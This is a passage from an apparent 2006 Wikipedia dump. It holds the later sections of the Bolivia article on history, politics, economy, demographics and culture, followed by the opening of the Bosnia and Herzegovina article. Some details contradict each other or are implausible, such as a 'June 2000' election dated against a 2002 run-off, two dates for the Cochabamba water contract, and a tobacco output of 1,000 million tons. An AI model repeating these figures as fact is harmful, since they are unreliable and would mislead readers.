In the [[1997]] elections, Gen. [[Hugo Banzer]], leader of the [[Nationalist Democratic Action|ADN]], former dictaror (1971-1978), won 22% of the vote, while the MNR candidate won 18%. Gen. Banzer formed a coalition of the ADN, MIR, UCS, and CONDEPA parties which held a majority of seats in the Bolivian Congress. The Congress elected him as president and he was inaugurated on [[August 6]], [[1997]].  During the election campaign, General Banzer had promised to suspend the privatization of the state owned oil company, YPFB.  Considering the weak position that Bolivia is in vis-a-vis international corporations, though, this seemed unlikely.

The Banzer government basically continued the free market and privatization policies of its predecessor, and the relatively robust economic growth of the mid-1990s continued until about the third year of its term in office. After that, regional, global and domestic factors contributed to a decline in economic growth.  Financial crises in Argentina and Brazil, lower world prices for commodity exports, and reduced employment in the Coca sector depressed the Bolivian economy.  The public also perceived a significant amount of public-sector corruption. These factors contributed to increasing social protests during the second half of Banzer's term.

At the outset of his government, President Banzer launched a policy of using special police units to physically eradicate the illegal coca of the Chapare region. The policy produced a sudden and dramatic 4-year decline in Bolivia's illegal coca crop, to the point that Bolivia became a relatively small supplier of coca for cocaine.   Those left unemployed by coca eradication streamed into the cities, especially El Alto the slum neighbor of La Paz. The MIR of Jaime Paz Zamora remained a coalition partner throughout the Banzer government, supporting this policy (called the Dignity Plan).

On [[August 6]], [[2001]], Banzer resigned from office after being diagnosed with [[cancer]]. He died less than a year later. Banzer's U.S.-educated Vice President, [[Jorge Quiroga|Jorge Fernando Quiroga Ramírez]], completed the final year of the term. Quiroga was constitutionally prohibited from running for national office in [[2002]] but could do so in [[2007]].

In the June 2000 national elections, former President [[Gonzalo Sánchez de Lozada]] (MNR) placed first with 22.5% of the vote, followed by coca advocate and indigenous campesino leader [[Evo Morales]] ([[Movement toward Socialism (Bolivia)|Movement Toward Socialism]], MAS) with 20.9%. Morales edged out populist candidate [[Manfred Reyes Villa]] of the [[New Republican Force]] (NFR) by just 700 votes nationwide, earning a spot in the congressional run-off against Sánchez de Lozada on [[August 4]], [[2002]].

A July agreement between the MNR and the fourth-place MIR, which had again been led in the election by former president [[Paz Zamora]], virtually ensured the election of Sánchez de Lozada in the congressional run-off, and on [[August 6]] he was sworn in for the second time. The MNR platform featured three overarching objectives: economic reactivation (and job creation), anti-[[political corruption|corruption]], and social inclusion.

===Social Crisis and the nationalization of hydrocarbon resources (2000-2005)===
In April 2000, the social movements in Bolivia got together to protest the privatization of water provision in Cochabamba.  Three years earlier, the government had sold rights to manage water in the city to Aguas del Tunari, a conglomerate led by Bechtel corporation.  After making investments, the company raised water prices dramatically.  They also made drawing water from community wells or gathering rainwater illegal, giving Aguas del Tunari exclusive rights.  Protests that included Cochabamba residents and coca growers turned violent.  Roadblocks paralyzed parts of the country.  The protesters were helped along by policemen, who took the opportunity to go on strike for higher wages.  Finally the government gave into the protesters demands and revoked the water contract.  It was an unprecedented moment of unity for the Bolivian social movements against neoliberal reform. &lt;sup&gt;[[#Footnotes|1]]-[[#Footnotes|2]]&lt;/sup&gt; 

During [[February 2003]], four-year economic recession, tight fiscal situation, and widespread corruption inside the government mounted again in a police revolt that nearly toppled the government of President Sánchez de Lozada; several days of unrest left more than 30 persons dead. The government stayed in power but remained unpopular. Widespread protests broke out in October and revealed deep dissatisfaction with the government. Approximately 80 people died during the demonstrations which led President Sánchez de Lozada to resign from office on [[October 17]]. In a constitutional transfer of power, Vice President [[Carlos Mesa]] assumed the Presidency and promised to hold a binding referendum on the export of Bolivian natural gas. The referendum took place on [[July 18]], and the electorate voted overwhelmingly in favor of development of the nation's [[hydrocarbon]] resources. Mesa planned to detail the government's development plans in legislation to be introduced to Congress. Mesa enjoyed popularity with the Bolivian public, but he faced the same difficulties &amp;mdash; social divisions, a radical opposition committed to extra-parliamentary action, and an ongoing fiscal deficit &amp;mdash; as the previous administration.

On [[June 6]], [[2005]], President [[Carlos Mesa]] was forced to enter his resignation as over 80,000 protestors surrounded the presidential palace and [[Congress of Bolivia|congress]] demanding nationalization of the gas industry.  The indigenous protestors argued that indigenous communities, two thirds of Bolivia's population, were not adequately represented in government. Consequently, the ''campesinos'' and indigenous population, angered by the inequitable dividends paid by the multinational petroleum companies, set up roadblocks throughout the country and placed all the major cities under siege. With Carlos Mesa stranded in the Palace of Plaza Murillo, the congress and senate closed, protestors roamed through the streets of La Paz threatening to drive the &quot;corbateros&quot; (those clothed in suits and ties) from the country. 

A civil war was averted when, on [[June 9]], 157 members of congress converged on the Casa de La Libertad in [[Sucre]] and nominated [[Eduardo Rodríguez]], then serving as President of the Supreme Court, to the Presidency of the Republic. President Rodriguez, to avert a civil war, promised to hold new [[Bolivian presidential election, 2005|national elections]] in [[December 2005]].

''See also: [[Bolivian Gas War]]''

===Evo Morales, Movement toward Socialism ===
The [[Bolivian presidential election, 2005|2005 Bolivian presidential election]] was held on [[December 18]], [[2005]]. The two main candidates were [[Evo Morales|Juan Evo Morales Ayma]] of the [[Movement toward Socialism (Bolivia)|Movement Toward Socialism]] (MAS) Party, and [[Jorge Quiroga]], leader of the [[Democratic and Social Power]] (PODEMOS) Party and former head of the [[Nationalist Democratic Action|Acción Democrática Nacionalista]] (ADN) Party.

Morales won the election with 54 percent of the votes, an [[absolute majority]]. He was sworn in on [[January 22]] [[2006]] for a five-year term.   For the first time since the Spanish Conquest in the early 1500's, Bolivia, a nation with a majority indigenous population, has an indigenous leader, and Morales has stated that the 500 years of colonialism are now over.

His recent presidential election victory has also brought new attention to the U.S. drug war in South America and its heavy emphasis on coca crop eradication. The US-led &quot;Plan Dignidad&quot; (dignity plan), which seeks to reduce coca production to zero, is seen by many Bolivians as an attack on their livelihoods and way of life. Morales has said his government will try to interdict drugs, but he wants to preserve the legal market for coca leaves and promote export of such products as the [[coca tea drink]].

== Politics ==
''Main article: [[Politics of Bolivia]]''
[[Image:Central La Paz Bolivia.jpg|thumbnail|250px|[[La Paz]] is the political capital of Bolivia.]]
The [[1967]] constitution, amended in [[1994]], provides for balanced executive, legislative, and judicial powers. The traditionally strong executive, however, tends to overshadow the [[Congress of Bolivia|Congress]], whose role is generally limited to debating and approving legislation initiated by the executive. The judiciary, consisting of the [[Supreme Court of Bolivia|Supreme Court]] and departmental and lower courts, has long been riddled with corruption and inefficiency. Through revisions to the constitution in 1994, and subsequent laws, the government has initiated potentially far-reaching reforms in the judicial system and processes.

Bolivia's nine [[Departments of Bolivia|departments]] received greater autonomy under the Administrative Decentralization law of 1995. Departmental autonomy further increased with the first popular elections for departmental governors, known as prefects, on [[18 December]] [[2005]]. [[:Category:Cities in Bolivia|Bolivian cities and town]]s are governed by directly elected [[mayor]]s and councils. Municipal elections were held on [[5 December]] [[2004]], with councils elected to five-year terms. The Popular Participation Law of April 1994, which distributes a significant portion of national revenues to municipalities for discretionary use, has enabled previously neglected communities to make striking improvements in their facilities and services.

The president is elected to a five-year term by popular vote. Elected president [[Gonzalo Sánchez de Lozada]] resigned in [[October 2003]], and was substituted by vice-president [[Carlos Mesa]]. Mesa was in turn replaced by chief justice of the Supreme Court [[Eduardo Rodríguez]] in [[June 2005]]. Six months later, on December 18, 2005, the Socialist indigenous leader, Evo Morales, was elected president, to the general dismay of the United States government.

Legislative Branch: The ''Congreso Nacional'' ([[National Congress of Bolivia|National Congress]]) has [[Bicameralism|two chambers]]. The ''[[Chamber of Deputies of Bolivia|Cámara de Diputados]]'' ([[Chamber of Deputies]]) has 130 members, elected to five-year terms by proportional representation. The ''[[Senate of Bolivia|Cámara de Senadores]]'' ([[Senate|Chamber of Senators]]) has 27 members (three per department), elected to five-year terms by proportional representation.

== Administrative divisions ==
''Main article: [[Departments of Bolivia]]''

Bolivia is divided into nine [[department]]s, or ''departamentos'':

* [[Chuquisaca Department|Chuquisaca]] ([[Sucre]])
* [[Cochabamba Department|Cochabamba]] ([[Cochabamba]])
* [[Beni Department|Beni]] ([[Trinidad, Bolivia|Trinidad]])
* [[La Paz Department (Bolivia)|La Paz]] ([[La Paz]])
* [[Oruro Department|Oruro]] ([[Oruro]])
* [[Pando Department|Pando]] ([[Cobija]])
* [[Potosí Department|Potosí]] ([[Potosí]])
* [[Santa Cruz Department|Santa Cruz]] ([[Santa Cruz de la Sierra]])
* [[Tarija Department|Tarija]] ([[Tarija]])

Additionally, each department is further divided into provinces, or ''provincias'', cantons, or ''cantones'', and municipalities, or ''municipalidades'', which handle local affairs.

== Geography ==
[[Image:Bl-map.png|right|framed|Map of Bolivia]]
''Main article: [[Geography of Bolivia]]''

Bolivia is a landlocked nation. However, it does have access to the Atlantic via the Paraguay river.  The west of Bolivia is situated in the [[Andes]] mountain range, with the highest peak, [[Nevado del Sajama]] at 6,542 [[metre]]s (21,463&amp;nbsp;[[foot (unit of length)|ft]]). The west of the country is formed by a highland plateau, the [[Altiplano]]. The east of the country is lowland, and covered by the Amazonian [[rainforest]]s. [[Lake Titicaca]] is located on the border between Bolivia and [[Peru]]. In the west, in the department of Potosí, lies the [[Salar de Uyuni]], the world's largest salt flats. 

Major cities are [[La Paz]], [[Santa Cruz, Bolivia|Santa Cruz de la Sierra]] and [[Cochabamba, Bolivia|Cochabamba]].

== Economy ==
''Main article: [[Economy of Bolivia]]''

Bolivia remains the poorest country in South America, in part, due to high corruption levels.

Bolivia's 2002 gross domestic product (GDP) totaled [[USD]] $7.9 billion. Economic growth is about 2.5% a year and inflation is expected to be between 3% and 4% in [[2002]] (it was under 1% in [[2001]]).

Bolivia’s current lackluster economic situation can be linked to several factors from the past two decades.  The first major blow to the Bolivian economy came with a dramatic fall in silver prices during the early 1980’s which impacted one of Bolivia’s main sources of income and one of its major mining industries.  The second major economic blow came from the end of the Cold War in the late 1980’s and early 1990’s as economic aid was withdrawn by western countries who had previously tried to keep a “democratic” regime in power through financial support.  The third economic blow came from the U.S. sponsored eradication of the Bolivian coca crop which was used in 80% of the worlds’ cocaine production at its peak.  Along with the reduction in the coca crop came a huge loss of income to the Bolivian economy, particularly the peasant classes.

Since [[1985]], the Government of Bolivia has implemented a far-reaching program of macroeconomic stabilization and structural reform aimed at maintaining price stability, creating conditions for sustained growth, and alleviating poverty. A major reform of the customs service in recent years has significantly improved transparency in this area. The most important structural changes in the Bolivian economy have involved the capitalization of numerous public-sector enterprises. (Capitalization in the Bolivian context is a form of privatization where investors acquire a 50% share and management control of public enterprises by agreeing to invest directly into the enterprise over several years rather than paying cash to the government).

Parallel legislative reforms have locked into place market-oriented policies, especially in the hydrocarbon and telecommunication sectors, that have encouraged private investment. Foreign investors are accorded national treatment, and foreign ownership of companies enjoys virtually no restrictions in Bolivia. While the capitalization program was successful in vastly boosting foreign direct investment (FDI) in Bolivia ($1.7 billion in stock during 1996-2002), FDI flows have subsided in recent years as investors complete their capitalization contract obligations.

In 1996, three units of the Bolivian state oil corporation (YPFB) involved in hydrocarbon exploration, production, and transportation were capitalized, facilitating the construction of a gas pipeline to [[Brazil]]. The government has a long-term sales agreement to sell natural gas to Brazil through [[2019]]. The Brazil pipeline carried about 12 million [[cubic metres]] (424 million [[cubic foot|cu.&amp;nbsp;ft]]) per day in 2002. Bolivia has the second-largest natural gas reserves in [[South America]], and its current domestic use and exports to Brazil account for just a small portion of its potential production. The government expects to hold a binding referendum in 2004 on plans to export natural gas. Widespread opposition to exporting gas through Chile touched off protests that led to the resignation of President Sánchez de Lozada in October 2003.

In April [[2000]], [[Bechtel]] signed a contract with [[Hugo Banzer]], the former president of Bolivia, to privatize the water supply in Bolivia's 3rd-largest city, [[Cochabamba]]. The contract was officially awarded to a Bechtel subsidiary named ''Aguas del Tunari'', which had been formed specifically for that purpose. Shortly thereafter, the company tripled the water rates in that city, an action which resulted in [[Cochabamba protests of 2000|protests and rioting]] among those who could no longer afford clean water. [[Martial law]] was declared, and Bolivian police killed at least 6 people and injured over 170 protesters. Amidst Bolivia's nationwide economic collapse and growing national unrest over the state of the economy, the Bolivian government was forced to withdraw the water contract. In [[2001]], Bechtel filed suit the Bolivian government for $25 million in lost profits. The continuing legal battle has attracted attention from anti-globalization and anti-capitalist groups.

Bolivian exports were $1.3 billion in 2002, from a low of $652 million in 1991. [[Import]]s were $1.7 billion in 2002. Bolivian [[tariff]]s are a uniformly low 10%, with capital equipment charged only 5%. Bolivia's trade deficit was $460 million in 2002.

Bolivia's trade with neighboring countries is growing, in part because of several regional preferential trade agreements it has negotiated. Bolivia is a member of the [[Andean Community]] and enjoys nominally free trade with other member countries ([[Peru]], [[Ecuador]], [[Colombia]], and [[Venezuela]].) Bolivia began to implement an association agreement with [[Mercosur]] (Southern Cone Common Market) in March 1997. The agreement provides for the gradual creation of a free trade area covering at least 80% of the trade between the parties over a 10-year period, though economic crises in the region have derailed progress at integration. The U.S. Andean Trade Preference and Drug Enforcement Act (ATPDEA) allows numerous Bolivian products to enter the [[United States]] free of duty on a unilateral basis, including [[alpaca]] and [[llama]] products and, subject to a quota, [[cotton]] [[textiles]].

The United States remains Bolivia's largest trading partner. In 2002, the United States exported $283 million of merchandise to Bolivia and imported $162 million. Bolivia's major exports to the United States are tin, [[gold]], [[jewellery]], and [[wood]] products. Its major imports from the United States are [[computer]]s, [[Automobile|vehicles]], [[wheat]], and [[machinery]]. A Bilateral Investment Treaty between the United States and Bolivia came into effect in 2001. 
[[Agriculture]] accounts for roughly 15% of Bolivia's GDP. The amount of land cultivated by modern farming techniques is increasing rapidly in the Santa Cruz area, where weather allows for two crops a year. [[Soybean]]s are the major [[cash crop]], sold into the Andean Community market. The extraction of [[mineral]]s and hydrocarbons accounts for another 10% of GDP and [[manufacturing]] less than 17%.

The Government of Bolivia remains heavily dependent on foreign assistance to finance development projects. At the end of 2002, the government owed $4.5 billion to its foreign [[creditor]]s, with $1.6 billion of this amount owed to other governments and most of the balance owed to multilateral development [[bank]]s. Most payments to other governments have been rescheduled on several occasions since 1987 through the [[Paris Club]] mechanism. External creditors have been willing to do this because the Bolivian Government has generally achieved the monetary and fiscal targets set by IMF programs since 1987, though economic crises in recent years have undercut Bolivia's normally good record. Rescheduling agreements granted by the Paris Club has allowed the individual creditor countries to apply very soft terms to the rescheduled [[debt]]. As a result, some countries have forgiven substantial amounts of Bolivia's bilateral debt. The U.S. Government reached an agreement at the Paris Club meeting in December 1995 that reduced by 67% Bolivia's existing debt stock. The Bolivian Government continues to pay its debts to the multilateral development banks on time. Bolivia is a beneficiary of the Heavily Indebted Poor Countries (HIPC) and Enhanced HIPC debt relief programs, which by agreement restricts Bolivia's access to new soft loans. Bolivia was one of three countries in the [[Western Hemisphere]] selected for eligibility for the Millennium Challenge Account and is participating as an observer in FTA negotiations.

In 2004 the government has given great importance in the development of port facilities at Puerto Busch on the Paraguay river. Already further North in Puerto Suarez and Puerto Aguirre, which are connected to the Paraguay river via [[canal tamengo]] going through Brazil, mid-size container ships traverse. As of 2004 about half of Bolivias exports is going out via the Paraguay river. When Puerto Busch is finished bigger ocean going ships should be able to dock in Bolivia. This will greatly help Bolivia become more competitive in that they will not have to use foreign ports as much, mostly in Peru and Chile, which adds to the price of exports and imports. Tobacco has also been one of the big imports and also made my them. In 1992 they made over 1,000 million [[ton]]s of it.

== Demographics ==
''Main article: [[Demographics of Bolivia]]''

Bolivia is one of only three countries in Latin America whose largest population segment is comprised of unmixed [[Indigenous peoples of the Americas|Amerindian]]s - the other two being [[Guatemala]] and [[Peru]]. Bolivia's ethnic distribution is estimated to be 33% [[Quechua language|Quechua]] and 30% [[Aymara]] Amerindians, 25% [[Mestizo]] (mixed Amerindian and European) and 12% European. The largest of the approximately three-dozen indigenous groups are the Quechua-speaking groups (2.5 million), the Aymara (2 million), [[Chiquitano]] (180,000), and [[Guaraní]] (125,000). There are small German, Italian, American, Basque, Croatian, Asian (particularly Japanese), Middle Eastern, and other minorities, many of whose members descend from families that have lived in Bolivia for several generations. Also noteworthy is the Afro-Bolivian community that numbers roughly 1% of the population, descended from African slaves that were transported to work in the altiplano and the mines of Potosi. They are mostly concentrated in the [[Yungas]] region ([[Nor Yungas]] and [[Sud Yungas]] provinces) in the [[La Paz Department, Bolivia|department of La Paz]], some three hours from [[La Paz]] city.

Bolivia is one of the least developed countries in South America. Almost two-thirds of its people, many of whom are subsistence farmers, live in poverty. Population density ranges from less than one person per square kilometer in the southeastern plains to about 10 per square kilometer (25&amp;nbsp;per [[square mile|sq.&amp;nbsp;mi]]) in the central highlands. The annual population growth rate is about 2.74% (2002). 

La Paz is the world's highest capital city at 3,600 meters (11,800&amp;nbsp;ft.) above [[sea level]]. The adjacent city of [[El Alto]], at 4,200 meters (13,800&amp;nbsp;ft) above sea level, is one of the fastest growing in the hemisphere. Santa Cruz, the commercial and industrial hub of the eastern lowlands, also is experiencing rapid population and economic growth.

The great majority of Bolivians are [[Catholicism|Roman Catholic]] (the [[State religion|official religion]]), although [[Protestantism|Protestant]] denominations are expanding strongly. [[Islam]] is practiced by the descendants of Middle Easterners. There is also a small yet influential [[Jewish]] community that is almost all [[Ashkenazi]] in origin. Over 3% of Bolivians practice the [[Bahá'í Faith]] (giving Bolivia one of the largest percentages of Bahá'í practitioners in the world). Due to extensive [[Mormon]] missionary efforts there is substantial Mormon demographic; there is even a [[temple (Mormonism)|temple]] [http://www.mormon.org/learn/0,8672,1297-1,00.html] in Cochabamba. There is a colony of [[Mennonites]] near Santa Cruz. Many indigenous communities interweave [[pre-Columbian]] and [[Christian]] symbols in their [[worship]]. About half of the people speak [[Spanish language|Spanish]] as their [[first language]], although the Aymara and Quechua languages are also common. Approximately 90% of the children attend primary school but often for a year or less. The literacy rate is low in many rural areas. The cultural development of what is present-day Bolivia is divided into three distinct periods: pre-Columbian, colonial, and republican. Important [[Archaeology|archaeological]] ruins, gold and silver ornaments, stone monuments, [[ceramics]], and [[weaving]]s remain from several important pre-Columbian cultures. Major ruins include [[Tiwanaku]], [[Samaipata]], [[Incallajta]], and [[Iskanwaya]]. The country abounds in other sites that are difficult to reach and have seen little archaeological exploration.

The Spanish brought their own tradition of religious art which, in the hands of local indigenous and [[mestizo]] builders and [[artisan]]s, developed into a rich and distinctive style of [[architecture]], [[painting]], and [[sculpture]] known as &quot;Mestizo Baroque&quot;. The colonial period produced not only the paintings of Pérez de Holguín, Flores, Bitti, and others but also the works of skilled but unknown [[stonecutter]]s, [[woodcarver]]s, [[goldsmith]]s, and [[silversmith]]s. An important body of native baroque religious music of the colonial period was recovered in recent years and has been performed internationally to wide acclaim since 1993.

Bolivian artists of stature in the 20th century include, among others, Guzmán de Rojas, Arturo Borda, María Luisa Pacheco, and Marina Núñez del Prado. Bolivia has rich [[folklore]]. Its regional [[folk music]] is distinctive and varied. The &quot;devil dances&quot; at the annual [[carnival]] of Oruro are one of the great folkloric events of South America, as is the lesser known carnival at [[Tarabuco]].

== Culture ==
''Main article: [[Culture of Bolivia]]''

Bolivian culture has many [[Inca]], [[Aymara]] and other indigenous influences in religion, music and clothing, depending upon the region of the country, isolation of the cultures and contact with European (Spanish) culture. The best known fiesta is the [[UNESCO]] heritage &quot;El [[carnaval]] de Oruro&quot;. Entertainment includes [[Football (soccer)|football]], which is the national sport, played in many street corners. Also, zoos are a popular attraction with a diverse population of interesting creatures. Also, Bolivia is full of a variety of festivals, including special dance celebrations, such as the Carnaval de Oruro. 

''See'' [[Music of Bolivia]]

== Literature ==
*Herbert S. Klein, &quot;A Concise History of Bolivia&quot;, Cambridge 2003

==Footnotes==
:&lt;sup&gt;1&lt;/sup&gt; Jennifer Hattam, &quot;[http://www.sierraclub.org/sierra/200109/lol1.asp Who Owns Water]?&quot; ''Sierra'', Sept 2001, v.86, iss.5, p.16.
:&lt;sup&gt;2&lt;/sup&gt; PBS Frontline/World &quot;[http://www.pbs.org/frontlineworld/stories/bolivia/ Leasing the Rain]&quot; Video, June 2002

[[Military of Bolivia]]

== External links ==
{{sisterlinks|Bolivia}}
'''Government'''
* [http://www.congreso.gov.bo/ Bolivian National Congress]
'''General information'''
* [http://www.angus-reid.com/polls/index.cfm/fuseaction/searchSimpleResults/iw/1/keyword/bolivia Public Opinion in Bolivia]
* [http://www.angus-reid.com/tracker/index.cfm/fuseaction/viewItem/itemID/8124 Election Tracker-Bolivia]
* [http://dmoz.org/Regional/South_America/Bolivia Open Directory Project - Bolivia] directory category
* [http://www.cia.gov/cia/publications/factbook/geos/bl.html Bolivia information at the CIA World Factbook]
* [http://www.boliviaweb.com Bolivia Web]
* [http://www.citizenshipbolivia.com Information on Bolivian Citizenship]
* [http://www.labairlines.co.uk LAB Airlines UK Site - The National Airline of Bolivia]
'''Media'''
* [http://www.bolpress.com Independent Press site]
'''Other'''
* [http://street-children.org.uk/bolivia.htm Bolivian Street Children]
* [http://www.boliviatoday.org Bolivia Today] Travel information in English
* [http://photo.goliathus.com/bolivia/ Bolivia Photography] of [http://www.goliathus.com insect] trip in 2004.
* [http://www.bolivia.sudamerica.it    Portale Bolivia]
* [http://www.biblioworks.org BiblioWorks literacy non-profit working in Bolivia]

{{South_America}}

[[Category:Bolivia|Bolivia]]
[[Category:Landlocked countries]]
[[Category:South American countries]]

[[af:Bolivia]]
[[an:Bolibia]]
[[ar:بوليفيا]]
[[ast:Bolivia]]
[[ay:Wuliwya]]
[[bg:Боливия]]
[[bs:Bolivija]]
[[ca:Bolívia]]
[[cs:Bolívie]]
[[cy:Bolivia]]
[[da:Bolivia]]
[[de:Bolivien]]
[[el:Βολιβία]]
[[eo:Bolivio]]
[[es:Bolivia]]
[[et:Boliivia]]
[[eu:Bolivia]]
[[fi:Bolivia]]
[[fr:Bolivie]]
[[gd:Bolivia]]
[[gl:Bolivia]]
[[he:בוליביה]]
[[hr:Bolivija]]
[[ht:Bolivi]]
[[hu:Bolívia]]
[[id:Bolivia]]
[[ilo:Bolivia]]
[[io:Bolivia]]
[[is:Bólivía]]
[[it:Bolivia]]
[[ja:ボリビア]]
[[ko:볼리비아]]
[[ks:बोलिविया]]
[[la:Bolivia]]
[[li:Bolivia]]
[[lt:Bolivija]]
[[lv:Bolīvija]]
[[mk:Боливија]]
[[ms:Bolivia]]
[[na:Bolivia]]
[[nah:Bolivia]]
[[nds:Bolivien]]
[[nl:Bolivia]]
[[nn:Bolivia]]
[[no:Bolivia]]
[[pl:Boliwia]]
[[pt:Bolívia]]
[[qu:Bulibiya]]
[[ro:Bolivia]]
[[ru:Боливия]]
[[sa:बोलिविया]]
[[simple:Bolivia]]
[[sk:Bolívia]]
[[sl:Bolivija]]
[[sq:Bolivia]]
[[sr:Боливија]]
[[sv:Bolivia]]
[[ta:பொலிவியா]]
[[th:ประเทศโบลิเวีย]]
[[tl:Bolivia]]
[[tr:Bolivya]]
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[[zh:玻利維亞]]
[[zh-min-nan:Bolivia]]</text>
    </revision>
  </page>
  <page>
    <title>Bosnia and Herzegovina</title>
    <id>3463</id>
    <revision>
      <id>42158805</id>
      <timestamp>2006-03-04T05:14:15Z</timestamp>
      <contributor>
        <username>Guanaco</username>
        <id>47960</id>
      </contributor>
      <minor />
      <comment>clean up and bypass unambiguous redirects using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{Infobox_Country
|native_name = Bosna i Hercegovina&lt;br/&gt;Босна и Херцеговина
|common_name = Bosnia and Herzegovina
|image_flag = Flag of Bosnia and Herzegovina.svg 
|image_coat = Bosnia coa.PNG
|image_map = LocationBosniaAndHerzegovina.png
|national_motto = none
|national_anthem = [[Intermeco]]
|official_languages = [[Bosnian language|Bosnian]], [[Croatian language|Croatian]], [[Serbian language|Serbian]]
|capital = [[Sarajevo]]
|latd=43 |latm=52 |latNS=N |longd=18 |longm=25 |longEW=E
|largest_city = [[Sarajevo]]
|government_type = [[Federal republic]]
|leader_titles = [[Presidency of Bosnia and Herzegovina|Presidents]]&lt;br&gt;&lt;br&gt;&lt;br&gt;[[Council of Ministers of Bosnia and Herzegovina|Prime Minister]]&lt;br&gt;
|leader_names =[[Sulejman Tihić]]&lt;sup&gt;1 ([[Bosniak]])&lt;/sup&gt;&lt;br&gt;[[Borislav Paravac]] &lt;sup&gt;([[Serb]])&lt;/sup&gt;&lt;br&gt;[[Ivo Miro Jović]] &lt;sup&gt;([[Croat]])&lt;/sup&gt;
[[Adnan Terzic]]
|area_rank = 124th
|area_magnitude = 1_E12
|area= 51,129
|areami²= 19,741 &lt;!--Do not remove per [[WP:MOSNUM]] --&gt;
|percent_water = Negligible
|population_estimate = 4,025,476&lt;sup&gt;2&lt;/sup&gt;
|population_estimate_rank = 120th
|population_estimate_year = July 2005
|population_census = 4,354,911
|population_census_year = 1991
|population_density =79
|population_densitymi² =205 &lt;!--Do not remove per [[WP:MOSNUM]] --&gt;
|population_density_rank = 90th
|GDP_PPP = $28.26 billion  
|GDP_PPP_rank = 90th
|GDP_PPP_year= 2005
|GDP_PPP_per_capita = $6,800 
|GDP_PPP_per_capita_rank = 101st
|sovereignty_type = [[Independence]]
|established_events = From [[Socialist Federal Republic of Yugoslavia|Yugoslavia]]
|established_dates = [[5 April]] [[1992]]
|HDI = 0.786 
|HDI_rank = 68th
|HDI_year = 2003
|HDI_category = &lt;font color=&quot;#FFCC00&quot;&gt;medium&lt;/font&gt;
|currency = [[Convertible Mark]]
|currency_code = BAM
|country_code = 
|time_zone = [[Central European Summer Time|CEST]]
|utc_offset = +1
|time_zone_DST = [[Central European Summer Time|CEST]]
|utc_offset_DST = +1
|cctld = [[.ba]]
|calling_code = 387
|footnotes = &lt;small&gt;&lt;sup&gt;1&lt;/sup&gt;Current chairman of three-member rotating presidency.&lt;br&gt;&lt;sup&gt;2&lt;/sup&gt;Population estimates vary greatly as no official census has been taken since 1991.
}}
'''Bosnia and Herzegovina''' (locally: ''Bosna i Hercegovina/Босна и Херцеговина'', most commonly abbreviated as ''BiH/БиХ'') is a country in south-east [[Europe]] with an estimated population of four million people. The country is the homeland of its three ethnic [[Nations of Bosnia and Herzegovina|constituent peoples]]: [[Bosniaks]], [[Serbs]], and [[Croats]]. Other communities that live there are not given the status of being &quot;constituent&quot;[http://www.oscebih.org/documents/54-eng.pdf].  A citizen of Bosnia and Herzegovina, regardless of ethnicity, is usually identified as a [[Bosnians|Bosnian]].

The country borders with [[Croatia]] in the west and [[Serbia and Montenegro]] in the east. It is virtually landlocked save for a small strip of land (about 12&amp;nbsp; or 20&amp;nbsp;km) on the [[Adriatic sea]], centered around the city of [[Neum]]. The interior of the country is heavily mountainous and divided by various rivers, most of which are nonnavigable. The nation's capital is [[Sarajevo]], which is also its largest city.

	Bosnia and Herzegovina was formerly one of the six federal units constituting [[Socialist Federal Republic of Yugoslavia|Yugoslavia]]. The republic gained its independence in the [[Yugoslav wars]] of the 1990s and, due to the [[Dayton Accords]], is currently administered in a supervisory role by a [[High Representative for Bosnia and Herzegovina|High Representative]] selected by the [[UN Security Council]]. It is also decentralized and administratively divided into two entities, the [[Federation of Bosnia and Herzegovina]] and [[Republika Srpska]].

[[Bosnia (region)|Bosnia]] itself is the chief geographic region of the modern state, and forms its historical backbone. [[Herzegovina]] is the most notable among several other territories traditionally under the Bosnian political unit, and has been officially included in the country's name since the mid-nineteenth century.

==Etymology==
The first preserved mention of the name &quot;Bosnia&quot; lies in the ''[[De Administrando Imperio]]'', a politico-geographical handbook written by [[List of Byzantine emperors|Byzantine emperor]] [[Constantine VII]] in [[958]]. The [[Chronicle of the Priest of Duklja]] from [[1172]]-[[1196]] also names Bosnia, and references an earlier source from the year [[753]]. The exact meaning and origin of the word is unclear. The most popular theory holds that Bosnia comes from the name of the [[Bosna]] river around which it has been historically based. Philologist Anton Mayer proposed a connection with the [[Proto-Indo-European language|Indo-European]] root ''*bos'' or ''*bogh'', meaning &quot;running water&quot;. Certain [[Ancient Rome|Roman]] sources similarly mention ''Bathinus flumen'', or the [[Illyrian languages|Illyrian]] word ''Bosona'', both of which would mean &quot;running water&quot; as well. Other theories involve the rare [[Latin]] term ''Bosina'', meaning boundary, and possible [[Slavic peoples|Slavic]] origins.

The origins of the word &quot;Herzegovina&quot; can be identified with more precision and certainty. During the [[Middle Ages#The Early Middle Ages|Early Middle Ages]] the region was known as [[Zahumlje|Hum or Zahumlje]], named after the ''Zachlumoi'' tribe of Slavs which inhabited it. In the [[1440s]], the region was ruled by powerful nobleman Stjepan Vukčić Kosača. In a document sent to [[Friedrich III, Elector of Saxony|Friedrich III]] on [[January 20]], [[1448]], Stjepan Vukčić Kosača called himself ''Herzog of [[Saint Sava]], lord of Hum and Primorje, great duke of the Bosnian kingdom'' (''Herzog'' means [[duke]] in [[German language|German]]) and so the lands he controlled would later become known as ''Herzog's lands'' or ''Herzegovina''.

==History==
{{Main|History of Bosnia and Herzegovina}}
===Pre-Slavic period===
Bosnia has been inhabited at least since [[Neolithic]] times. In the early [[Bronze Age]], the Neolithic population was replaced by more warlike [[Indo-European]] tribes known as the Illyres or [[Illyrians]]. [[Celts|Celtic]] migrations in the [[4th century BC|4th]] and [[3rd century BC|3rd century BCE]] displaced many Illyrian tribes from their former lands, but some Celtic and Illyrian tribes mixed. Concrete historical evidence for this period is scarce, but overall it appears that the region was populated by a number of different peoples speaking distinct languages. Conflict between the Illyrians and [[Ancient Rome|Romans]] started in [[229 BC|229 BCE]], but Rome wouldn't complete its annexation of the region until [[9 AD|9 CE]]. In the Roman period, latin-speaking settlers from all over the [[Roman empire]] settled among the Illyrians and Roman soldiers were encouraged to retire in the region. 

